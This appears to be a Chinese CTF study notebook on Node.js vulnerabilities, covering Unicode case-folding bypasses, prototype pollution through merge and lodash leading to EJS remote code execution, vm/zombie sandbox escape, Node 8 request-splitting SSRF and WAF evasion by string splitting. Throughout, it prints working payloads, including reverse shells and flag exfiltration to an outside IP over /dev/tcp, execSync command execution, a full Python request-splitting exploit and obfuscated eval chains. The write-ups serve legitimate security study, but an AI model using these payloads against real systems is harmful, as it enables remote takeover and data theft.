node漏洞
持续更新
node语法和js相似(本人认为是一样的),所以学习的时候两边都得学
node官网http://nodejs.cn/api/modules.html
node字符
toUpperCase() 函数漏洞
Fuzz中的javascript大小写特性 | 离别歌 (leavesongs.com)
直接看结论
特殊字符绕过
toUpperCase()
其中混入了两个奇特的字符"ı"、"ſ"。
这两个字符的“大写”是I和S。也就是说"ı".toUpperCase() == 'I',"ſ".toUpperCase() == 'S'。通过这个小特性可以绕过一些限制。
toLowerCase()
这个"K"的“小写”字符是k,也就是"K".toLowerCase() == 'k'.
'admın'.toUpperCase() == 'ADMIN'
’King'.toLowerCase() == 'king'
node原型链污染
参考这篇:(84条消息) JavaScript原型链污染攻击_BerL1n的博客-CSDN博客_javascript原型链污染
引入
Foo类和Foo的构造方法
function Foo() {
this.bar = 1
}
new Foo()
Foo的成员函数
function Foo() {
this.bar = 1
this.show = function() {
console.log(this.bar)
}
}
(new Foo()).show()
但这样写有一个问题,就是每当我们新建一个Foo对象时,this.show = function…就会执行一次,这个show方法实际上是绑定在对象上的,而不是绑定在“类”中。
我希望在创建类的时候只创建一次show方法,这时候就则需要使用原型(prototype)了:
function Foo() {
this.bar = 1
}
Foo.prototype.show = function show() {
console.log(this.bar)
}
let foo = new Foo()
foo.show()
在js中,所有的对象都是从各种基础对象继承下来的,所以每个对象都有他的父类,通过prototype可以直接操作修改父类的对象。
prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法
一个对象(foo)的__proto__
属性,指向这个对象所在的类(Foo)的prototype属性
一个简单的继承demo,运用到__proto__
function Father() {
this.first_name = 'Donald'
this.last_name = 'Trump'
}
function Son() {
this.first_name = 'Melania'
}
Son.prototype = new Father()
let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)
在对象son中寻找last_name
如果找不到,则在son.proto中寻找last_name
如果仍然找不到,则继续在son.proto.proto中寻找last_name
依次寻找,直到找到null结束。比如,Object.prototype的proto就是null
结论:
每个构造函数(constructor)都有一个原型对象(prototype)
对象的proto属性,指向类的原型对象prototype
JavaScript使用prototype链实现继承机制
原型链污染demo
// foo是一个简单的JavaScript对象
let foo = {bar: 1}
// foo.bar 此时为1
console.log(foo.bar)
// 修改foo的原型(即Object)
foo.__proto__.bar = 2
// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)
// 此时再用Object创建一个空的zoo对象
let zoo = {}
// 查看zoo.bar
console.log(zoo.bar)
最后,虽然zoo是一个空对象{},但zoo.bar的结果居然是2:
作用就是篡改值
适用情况
对象merge
对象clone(其实内核就是将待操作的对象merge到一个空对象中)
以对象merge为例,我们想象一个简单的merge函数: [GYCTF2020]Ez_Express
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)
o3 = {}
console.log(o3.b)
但是没有污染到原型链
这是因为,我们用JavaScript创建o2的过程(let o2 = {a: 1, “__proto__
”: {b: 2}})中,__proto__
已经代表o2的原型了,此时遍历o2的所有键名,你拿到的是[a, b],__proto__
并不是一个key,自然也不会修改Object的原型。
总而言之就是__proto__
没有被当作键名而是被解析了
那么,如何让__proto__
被认为是一个键名呢?
我们将代码改成如下:
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)
o3 = {}
console.log(o3.b)
这是因为,JSON解析的情况下,__proto__
会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。
merge操作是最常见可能控制键名的操作,也最能被原型链攻击,很多常见的库都存在这个问题。
所以适用的环境是 可以对对象赋值,且值可控,支持__proto__
解析
具体而言就是 例如merge函数 ,或者框架漏洞(大部分框架都有赋值操作,只要有人挖出来链子就可以污染)
p文总结的
JSON.parse('{"a": 1, "__proto__": {"outputFunctionNameb": global.process.mainModule.constructor.load('child_process').execSync('id').toString()}}')
我自己思考得出的
{"lua": "thai", "__proto__": {"outputFunctionName":global.process.mainModule.constructor.load('child_process').execSync('id').toString()}}
{"lua": "thai", "__proto__": {"outputFunctionName":"global.process.mainModule.constructor.load('child_process').execSync('id')"}}
这样写虽然success,但是没有什么回显,后来经过测试,问题出在这里//"
payload1
{"lua":"a","__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"},"Submit":""}
payload2 Express+lodash+ejs
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/8.129.42.140/3307 0>&1\"');var __tmp2"}}
参考几个node模板引擎的原型链污染分析 | L0nm4r (lonmar.cn)
Express+lodash+ejs
以此为例[GYCTF2020]Ez_Express
然后在app.js加上对外开放的端口
//设置http
var server = app.listen(8081, function () {
var host = server.address().address
var port = server.address().port
console.log("应用实例,访问地址为 http://%s:%s", host, port)
});
之后运行即可访问8081端口
debug的环境搭建参考[(53条消息) VS CODE nodejs 调试环境搭建_yptsqc的博客-CSDN博客_vscode配置nodejs运行环境](https://blog.csdn.net/yptsqc/article/details/105835024#:~:text=nodejs 是vscode就内置的调试语言, 似乎就不需要再安装作何插件, 就可以启动调试,1.直接用vscode 打开工程目录文件夹, F5 选择环境: 2.选择完成之后,生成一个.vscode文件夹,文件夹下有个launch.json文件。)(建议使用vscode)
参考上面的博客进行选择,选择完成之后,生成一个.vscode文件夹,文件夹下有个launch.json文件。将下面【program】字段的值修改为自己程序的入口文件,开始调试时会从这个入口启动程序,题目的入口为app.js,修改如下
{
// 使用 IntelliSense 了解相关属性。
// 悬停以查看现有属性的描述。
// 欲了解更多信息,请访问: https://go.microsoft.com/fwlink/?linkid=830387
"version": "0.2.0",
"configurations": [
{
"type": "node",
"request": "launch",
"name": "启动程序",
"skipFiles": [
"<node_internals>/**"
],
"program": "${workspaceFolder}//app.js"
}
]
}
然后点击运行就好了
由于他的merge函数和p神那个很像,所以理论上可以自己写exp (这个是网上一个师傅的)
exp
{"lua":"a","__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"},"Submit":""}
我自己思考得出的
{"lua": "thai", "__proto__": {"outputFunctionName":global.process.mainModule.constructor.load('child_process').execSync('id').toString()}}
经过调试
payload
之后在render这里下断点
步入
然后可以看到从这里进去就是Express+lodash+ejs的链子
从index.js::res.render开始,步入后验证一下,确实如此。
所以通过搜索引擎搜索Express+lodash+ejs也可以得到payload
payload2 Express+lodash+ejs
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/8.129.42.140/3307 0>&1\"');var __tmp2"}}
但是我们看看它exp是怎么做到污染原型链的
进入到app.render。然后进入到app.render里的tryrender函数。
view.render.
然后看到在View.render开始渲染.从这个函数进入ejs模块
继续跟进到renderFile.里面有tryHandleCache函数
继续跟进到handleCache函数,
在这找到了渲染模板的compile函数
然后在这个函数里实例化了一个模板类,然后编译.
继续跟踪编译函数
这时候看一下我们的变量
然后你可以看到这个ots.outputFunctionName是我们的payload
最后经过这些代码的执行,所有东西都被拼接到this.source,起到一个编译的作用
this.source
//是注释,刚好注释到换行符那里
this.source在后面作为构造函数参数传递给fn
这个fn.apply需要了解一下(53条消息) this指向,防抖函数中的fn.apply(this,arguments)作用_前端小懒虫的博客-CSDN博客_fn.apply
所以这道题其实res.outputFunctionName就是一个题目暗示,无论是用exp还是payload2,都是以污染opt.outputFunctionName为途径从而污染原型链的,而这个污染的条件都依赖于Express+lodash+ejs这个不安全的框架组合
为了更加深入理解,我们把问题转化为Express+lodash+ejs如何手写exp, ejs原型污染rce分析 - 先知社区 (aliyun.com)
新建Express_lodash_ejs
test.js
var express = require('express');
var _= require('lodash');
var ejs = require('ejs');
var app = express();
//设置模板的位置
app.set('views', __dirname);
//对原型进行污染
var malicious_payload = '{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}';
_.merge({}, JSON.parse(malicious_payload));
//进行渲染
app.get('/', function (req, res) {
res.render ("./test.ejs",{
message: 'lufei test '
});
});
//设置http
var server = app.listen(8081, function () {
var host = server.address().address
var port = server.address().port
console.log("应用实例,访问地址为 http://%s:%s", host, port)
});
test.ejs
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
</head>
<body>
<h1><%= message%></h1>
</body>
</html>
npm安装
npm install ejs
npm install lodash@4.17.4
npm install express
test.js里面就有完整的poc,我们这里慢慢来
先 lodash 原型污染
var _= require('lodash');
var malicious_payload = '{"__proto__":{"oops":"It works !"}}';
var a = {};
console.log("Before : " + a.oops);
_.merge({}, JSON.parse(malicious_payload));
console.log("After : " + a.oops);
这条payload写的和p神那个及其相似
结论:说明lodash.merge有和p文里面merge函数那样参数可控赋值的漏洞条件
我们知道由于js的语法特性
var person = {
age:3
}
var myFunction = new Function("a", "return 1*a*this.age");
myFunction.apply(person,[2])
总结: myFunction = new Function(可控, 可控);再加上 myFunction.apply(一个已有的对象,[已有参数])
就是对象可以通过上面的方法变成一个任意可控的函数 。return 1*a*this.age
即为functionBody,可以执行我们的代码。
跑一下test.js
然后下断点调试,一路调试到最后
进入merge果然发现了猫腻
果然被污染了(虽然还没有exec)
这部分是lodash.js的。(反复验证前面的观察和推论了属于是)
说明了lodash的merge是可以造成原型链污染,而之前的题目则是自己作者写了一个类似merge1的函数
有兴趣的也可以试一试这个
const express = require('express');
const bodyParser = require('body-parser');
const lodash = require('lodash');
const ejs = require('ejs');
const app = express();
app
.use(bodyParser.urlencoded({extended: true}))
.use(bodyParser.json());
app.set('views', './');
app.set('view engine', 'ejs');
app.get("/", (req, res) => {
res.render('index');
});
app.post("/", (req, res) => {
let data = {};
let input = JSON.parse(req.body.content);
lodash.defaultsDeep(data, input);
res.json({message: "OK"});
});
let server = app.listen(8086, '0.0.0.0', function() {
console.log('Listening on port %d', server.address().port);
});
结论lodash.defaultsDeep也会实现原型链的污染,没错,这是著名的CVE-2019-10744
lodash.defaultsDeep (CVE-2019-10744)
lodash.defaultsDeep
有空就调试一下
payload1
{"constructor":{"prototype":
{"outputFunctionName":"a=1;process.mainModule.require('child_process').exec('b
ash -c \"echo $FLAG>/dev/tcp/xxxxx/xx\"')//"}}}
payload2
"__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"}
payload3
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/8.129.42.140/3307 0>&1\"');var __tmp2"}}
lodash+ejs还有一道很经典的题目
[XNUCA2019Qualifier]HardJS
buu环境,拿到源码后(题目有github链接,上面也有官方wp)进行审计
if(req.body.type && req.body.content){
var newContent = {}
var userid = req.session.userid;
newContent[req.body.type] = [ req.body.content ]
console.log("newContent:",newContent);
var sql = "insert into `html` (`userid`,`dom`) values (?,?) ";
var result = await query(sql,[userid, JSON.stringify(newContent) ]);
if(result.affectedRows > 0){
res.json(newContent);
}else{
res.json({});
}
这里有个 JSON.stringify(newContent) , 而 newContent[req.body.type] = [ req.body.content ]
newContent[req.body.type]是用户可控的
app.get("/get",auth,async function(req,res,next){
...
}else if(dataList[0].count > 5) { // if len > 5 , merge all and update mysql
console.log("Merge the recorder in the database.");
var sql = "select `id`,`dom` from `html` where userid=? ";
var raws = await query(sql,[userid]);
var doms = {}
var ret = new Array();
for(var i=0;i<raws.length ;i++){
lodash.defaultsDeep(doms,JSON.parse( raws[i].dom ));
//注意到lodash.defaultsDeep
var sql = "delete from `html` where id = ?";
var result = await query(sql,raws[i].id);
}
而在get的时候会调用这个lodash.defaultsDeep来渲染sql查询结果,借此插入恶意Payload污染原型链
由于又得知有ejs框架,直接就污染后ejs RCE一把梭
在/add的时候post这个 (记得更换content-type)
这里注意转义 payload
{"type":"test","content":{"constructor":{"prototype":
{"outputFunctionName":"a=1;process.mainModule.require('child_process').exec('b
ash -c \"echo $FLAG>/dev/tcp/8.129.42.140/3307\"')//"}}}}
然后访问/get触发
还有一种做法!
ejs其实还有很多可以污染后rce的地方
比如说 伪造 escapeFunction
实现rce
payload: (仍然依赖lodash.defaultsDeep先进行原型链污染)
{"constructor": {"prototype": {"client": true,"escapeFunction": "1; return
process.env.FLAG","debug":true, "compileDebug": true}}}
前端的原型链污染
这波是我没想到的,前端的js污染后后端的js也受到了影响
$.extend()
lodash原型链污染漏洞大全
看到一篇肥肠好的博客
https://www.anquanke.com/post/id/248170
vm1/2逃逸
利用原型链污染来达成vm逃逸,然后rce
学习了前面的原型链污染后,对于vm逃逸的话我们主要掌握利用
参考nodejs沙箱与黑魔法 - 先知社区 (aliyun.com)
可以上vm官网学习vm的基本操作,熟悉一下开发
vm2逃逸案例
zombie rce
参考:Nodejs Zoombie Package RCE 分析 | Summ3r's personal blog
hgame的一道题 markdown
本地搭起来环境后
首先进行了代码审计,了解到一些node的特性,可以用于绕过登录
const app = express()
说明是express框架
看了index.js,发现这里有大量的require,并且下面都是一些use,大概猜出是用来路由的
然后正常第一次访问根据index.js应该是去寻求登录
app.use("/", router)
然后看到了router.js
妥妥的路由
router.get("/", controllers.IndexController)
router.post("/login", controllers.LoginController)
router.get("/md", controllers.MarkdownController)
router.post("/preview", controllers.PreviewController)
router.post("/submit", controllers.SubmitController)
结果看到登录里头使用的是try的方式
function LoginController(req, res) {
if (req.body.username === "admin" && req.body.password.length === 16) {
try {
req.body.password = req.body.password.toUpperCase()
if (req.body.password !== '54gkj7n8uo55vbo2') {
return res.status(403).json({msg: 'invalid username or password'})
}
} catch (__) {}
req.session['unique_id'] = randString.generate(16)
res.json({msg: 'ok'})
} else {
res.status(403).json({msg: 'login failed'})
}
}
想到绕过try的方法是报错,但又得保证前面的条件req.body.username === "admin" && req.body.password.length === 16
那么就看到了node的特性,可以使用数组
{"username":"admin","password":["1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1"]}
以上是payload,请用json形式发给/login
接着可以看核心代码了
function LoginController(req, res) {
if (req.body.username === "admin" && req.body.password.length === 16) {
try {
req.body.password = req.body.password.toUpperCase()
if (req.body.password !== '54gkj7n8uo55vbo2') {
return res.status(403).json({msg: 'invalid username or password'})
}
} catch (__) {}
req.session['unique_id'] = randString.generate(16)
res.json({msg: 'ok'})
} else {
res.status(403).json({msg: 'login failed'})
}
}
function MarkdownController(req, res) {
res.sendFile("md.html", {root: "static"})
}
function PreviewController(req, res) {
if (req.body.code) { //语法高亮
const source = hljs.highlight(md.render(req.body.code), {language: "html"}).value
res.json({source})
} else {
res.status(500).send("code is required")
}
}
且先不看waf
通过MarkdownController得知 一开始访问/md便返回md.html界面,这是静态的,洞应该不在这
这时候看到有两个按钮,那就分别对应那两个控制器,正常逻辑我们是先preview再submit,所以我们也按照这个顺序看
PreviewController
if (req.body.code) { //语法高亮
const source = hljs.highlight(md.render(req.body.code), {language: "html"}).value
res.json({source})
通过观察,发现这是const MarkdownIt = require('markdown-it')
的函数
联系题目,猜测考察markdown xss,于是开始看markdown的官网等等,看到这个
https://rules.sonarsource.com/javascript/type/Security%20Hotspot/RSPEC-5247?search=xss
这篇有讲安全开发,这明显是出题人自己故意不安全开发出的题
后来我发现直接<script></script>
也能当作script标签执行js,大意了!
不过其实也没事,不是做题关键,当时因为它有个弹窗说机器人会去访问的,我就以为是xss外带的题目了,结果方向错了,大问题!
其实没想到是另一个!当时虽然也差点想到了
SubmitController
function SubmitController(req, res) {
if (req.body.code && typeof req.body.code === 'string') { //typeof返回类型,这里必须是string
const code = waf(req.body.code) //过滤
const source = md.render(code)
const browser = new Browser()
browser.load(source, e => {
const source = hljs.highlight(browser.html(), {language: "html"}).value
res.json({source})
})
} else {
res.status(500).send("code is required")
}
}
说了要来看submit的
看到正常的渲染 const source = md.render(code)
要有洞刚刚早出了,所以问题不是这
看到下面这个
browser.load(source, e => {
const source = hljs.highlight(browser.html(), {language: "html"}).value
res.json({source})
})
browser是刚刚new的一个对象,想一下,根据排除法,应该只剩这里可以有漏洞了
粗略看了一下,这样写其实没有逻辑漏洞之类的
所以考虑是依赖包的问题,看到browser类是这样来的const Browser = require('zombie')
去翻zombie的洞,很快看到Nodejs Zoombie Package RCE 分析 | Summ3r's personal blog
题做少了,不知道框架漏洞要怎么弄,其实很简单,既然这篇博客给了payload
const vm = require('vm')
code = "this.__proto__.constructor.constructor('return process')().mainModule.require('child_process').execSync('calc')"
context = {}
vm.runInNewContext(code, context)
快速学习vm后,得知其实this.__proto__.constructor.constructor('return process')().mainModule.require('child_process').execSync('calc')
才是我们要执行的js代码
既然这篇博客给了payload,我们尝试的成本是很低的,但这里有waf,我们不妨在本地把waf去掉
function waf(code) {
const blacklist = /__proto__|prototype|\+|alert|confirm|escape|parseInt|parseFloat|prompt|isNaN|new|this|process|constructor|atob|btoa|apk/i
if (code.match(blacklist)) {
//return "# Hacker!"
return code
} else {
return code
}
}
果然弹出了计算器
但是这里要有回显文本的功能,所以我们可以document.write
所以其实试错成本很低的,只要愿意去学Node和搭建题目环境
然后想办法绕过waf,这是不难的,难在于js你熟不熟
按官方解的说法:
+号可以使用.concat(),关键词可以eval从中断开
制造了这样的payload
<script>
var a='th';
var b='is.__pr';
var c='oto__.constru';
var d='ctor.constru';
var e="ctor('return proc";
var f="ess')().mainModule.require('child_pro";
var g="cess').execSync('calc')";
eval(a.concat(b,c,d,e,f,g));</script>
这里讲一下原理,参考,请使用vscode调
直接load那里跟进
没想到一进来就看到了this.tabs.open函数
这个就直接和zombile rce的诱发漏洞的链子是一样的
这说明框架漏洞必须掌握的是整条链,而不是仅仅某个漏洞函数!
当然,它最核心的地方还在于它底层调用了vm,而vm我们知道他有漏洞可以rce
this.tabs.open那里跟进
我们知道这个函数是把md解析的结果交给浏览器渲染,那么返回的结果应该是渲染后的结果,盲猜就是我们看到的
也就是html
所以刚刚那张图返回的window很合理
看到了windows的来源,直接继续跟进
发现好多个函数都是在这坨代码里面就定义好的了,我们直接看到createHistory
跟进之后只看到require
继续跟进require后面这个history,js
然后搜createHistory,可以在注释中看到这整个文件都和createHistory有关系,
每个函数大概都逛了一圈,看到return history.open.bind(history);
这个是history对象下面的open函数,仔细一看原来这整个文件都是history类的定义,跟进 history.open
loadDocument很可疑,注意到唯一参数是args,说明我们的代码在args里
啪的点进来了很快啊,看到js就他妈高潮,问题很可能在这了window._evaluate
结果这个window._evaluate怎么跟进都进不去
后来发现也在这个文件里,直接搜索可以看到
很快看到vm了,这不用说了吧
node源码格式化
推荐vscode
简单的格式化
在Windows上 Shift+ Alt+F
复杂的格式化
安装下面的插件
然后配置setting.json以便于能够ctrl+s时调用插件
第一次使用时要如上图搜索一下settings.json,才会创建setting.json
然后
{
// vscode默认启用了根据文件类型自动设置tabsize的选项
"editor.detectIndentation": false,
// 重新设定tabsize
"editor.tabSize": 4,
// #值设置为true时,每次保存的时候自动格式化;值设置为false时,代码格式化请按shift+alt+F
"editor.formatOnSave": false,
// #每次保存的时候将代码按eslint格式进行修复
"eslint.autoFixOnSave": true,
// 添加 vue 支持
"eslint.validate": [
"javascript",
"javascriptreact",
{
"language": "vue",
"autoFix": true
}
],
// #让prettier使用eslint的代码格式进行校验
"prettier.eslintIntegration": true,
// #去掉代码结尾的分号
"prettier.semi": false,
// #使用带引号替代双引号
"prettier.singleQuote": true,
"prettier.tabWidth": 4,
// #让函数(名)和后面的括号之间加个空格
"javascript.format.insertSpaceBeforeFunctionParenthesis": true,
// #这个按用户自身习惯选择
"vetur.format.defaultFormatter.html": "js-beautify-html",
// #让vue中的js按"prettier"格式进行格式化
"vetur.format.defaultFormatter.js": "prettier",
"vetur.format.defaultFormatterOptions": {
"js-beautify-html": {
// #vue组件中html代码格式化样式
"wrap_attributes": "force-aligned", //也可以设置为“auto”,效果会不一样
"wrap_line_length": 200,
"end_with_newline": false,
"semi": false,
"singleQuote": true
},
"prettier": {
"semi": false,
"singleQuote": true
}
},
"[jsonc]": {
"editor.defaultFormatter": "esbenp.prettier-vscode"
},
// 格式化stylus, 需安装Manta's Stylus Supremacy插件
"stylusSupremacy.insertColons": false, // 是否插入冒号
"stylusSupremacy.insertSemicolons": false, // 是否插入分号
"stylusSupremacy.insertBraces": false, // 是否插入大括号
"stylusSupremacy.insertNewLineAroundImports": false, // import之后是否换行
"stylusSupremacy.insertNewLineAroundBlocks": false,
"prettier.useTabs": true,
"files.autoSave": "off",
"explorer.confirmDelete": false,
"[javascript]": {
"editor.defaultFormatter": "esbenp.prettier-vscode"
},
"[json]": {
"editor.defaultFormatter": "esbenp.prettier-vscode"
},
"diffEditor.ignoreTrimWhitespace": false // 两个选择器中是否换行
}
从此直接 Ctrl+S 就能一键格式化了。
不过上面两种方法是真对自己写的代码进行格式化的,如果是ctf那种读到的源码,绝大部分还是要自己手动格式化。
nodejs8.0以下:拆分攻击ssrf
参考通过拆分攻击实现的SSRF攻击 - 先知社区 (aliyun.com)
我们也称之为http走私
介绍
假设一个服务器,接受用户输入,并将其包含在通过HTTP公开的内部服务请求中,像这样:
GET /private-api?q=<user-input-here> HTTP/1.1
Authorization: server-secret-key
如果服务器未正确验证用户输入,则攻击者可能会直接注入协议控制字符
到请求里。假设在这种情况下服务器接受了以下用户输入:
"x HTTP/1.1\r\n\r\nDELETE /private-api HTTP/1.1\r\n"
>
在发出请求时,服务器可能会直接将其写入路径,如下:
GET /private-api?q=x HTTP/1.1
DELETE /private-api
Authorization: server-secret-key
接收服务将此解释为两个单独的HTTP请求,一个GET
后跟一个DELETE
,它无法知道调用者的意图。
实际上,这种精心构造的用户输入会欺骗服务器,使其发出额外的请求,这种情况被称为服务器端请求伪造,或者“SSRF”。服务器可能拥有攻击者不具有的权限,例如访问内网或者秘密api密钥,这就进一步加剧了问题的严重性。
好的HTTP库通通常包含阻止这一行为的措施,Node.js也不例外:如果你尝试发出一个路径中含有控制字符的HTTP请求,它们会被URL编码:
> http.get('http://example.com/\r\n/test').output
[ 'GET /%0D%0A/test HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n' ]
不幸的是,上述的处理unicode字符错误意味着可以规避这些措施。考虑如下的URL,其中包含一些带变音符号的unicode字符:
> 'http://example.com/\u{010D}\u{010A}/test'
http://example.com/čĊ/test
当Node.js版本8或更低版本对此URL发出GET
请求时,它不会进行转义,因为它们不是HTTP控制字符:
> http.get('http://example.com/\u010D\u010A/test').output
[ 'GET /čĊ/test HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n' ]
但是当结果字符串被编码为latin1写入路径时,这些字符将分别被截断为“\r”和“\n”:
> Buffer.from('http://example.com/\u{010D}\u{010A}/test', 'latin1').toString()
'http://example.com/\r\n/test'
因此,通过在请求路径中包含精心选择的unicode字符,攻击者可以欺骗Node.js将HTTP协议控制字符写入线路。
适用条件
这个bug已经在Node.js10中被修复,如果请求路径包含非ascii字符,则会抛出错误。但是对于Node.js8或更低版本,如果有下列情况,任何发出传出HTTP请求的服务器都可能受到通过请求拆实现的SSRF的攻击:
- 接受来自用户输入的unicode数据
- 并将其包含爱HTTP请求的路径中
- 且请求具有一个0长度的主体(比如一个
GET
或者DELETE
)
关键
\u{010D}\u{010A} 会被解析为 \r\n
poc
import requests
payload = """ HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive
POST /file_upload HTTP/1.1
Host: 127.0.0.1
Content-Length: {}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarysAs7bV3fMHq0JXUt
{}""".replace('\n', '\r\n')
body = """------WebKitFormBoundarysAs7bV3fMHq0JXUt
Content-Disposition: form-data; name="file"; filename="lethe.pug"
Content-Type: ../template
-var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('cat /flag.txt').toString()")
-return x
------WebKitFormBoundarysAs7bV3fMHq0JXUt--
""".replace('\n', '\r\n')
payload = payload.format(len(body), body) \
.replace('+', '\u012b') \
.replace(' ', '\u0120') \
.replace('\r\n', '\u010d\u010a') \
.replace('"', '\u0122') \
.replace("'", '\u0a27') \
.replace('[', '\u015b') \
.replace(']', '\u015d') \
+ 'GET' + '\u0120' + '/'
requests.get(
'http://5750e068-33b5-4a65-a6bf-82412fdee97e.node3.buuoj.cn/core?q=' + payload)
print(requests.get(
'http://5750e068-33b5-4a65-a6bf-82412fdee97e.node3.buuoj.cn/?action=lethe').text)
例题[GYCTF2020]Node Game
上面poc是例题的
参考[[GYCTF2020]Node Game | Z3ratu1's blog](https://z3ratu1.github.io/[GYCTF2020]node game.html)
参考(53条消息) 请求拆分攻击结合pug模板注入导致rce_合天网安实验室的博客-CSDN博客
分析
基本的node绕过
原味的rce
global.process.mainModule.constructor.load('child_process').execSync('id')
如果结果要输出的话,需要在最末尾加上toString()
eval没被过滤
遇到了黑名单,在没有过滤eval的情况下,可以使用字符串拼接
payload示例
使用加号拼接
eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('cat /flag.txt').toString()")
使用concat和逗号拼接
var a='th';
var b='is.__pr';
var c='oto__.constru';
var d='ctor.constru';
var e="ctor('return proc";
var f="ess')().mainModule.require('child_pro";
var g="cess').execSync('calc')";
eval(a.concat(b,c,d,e,f,g));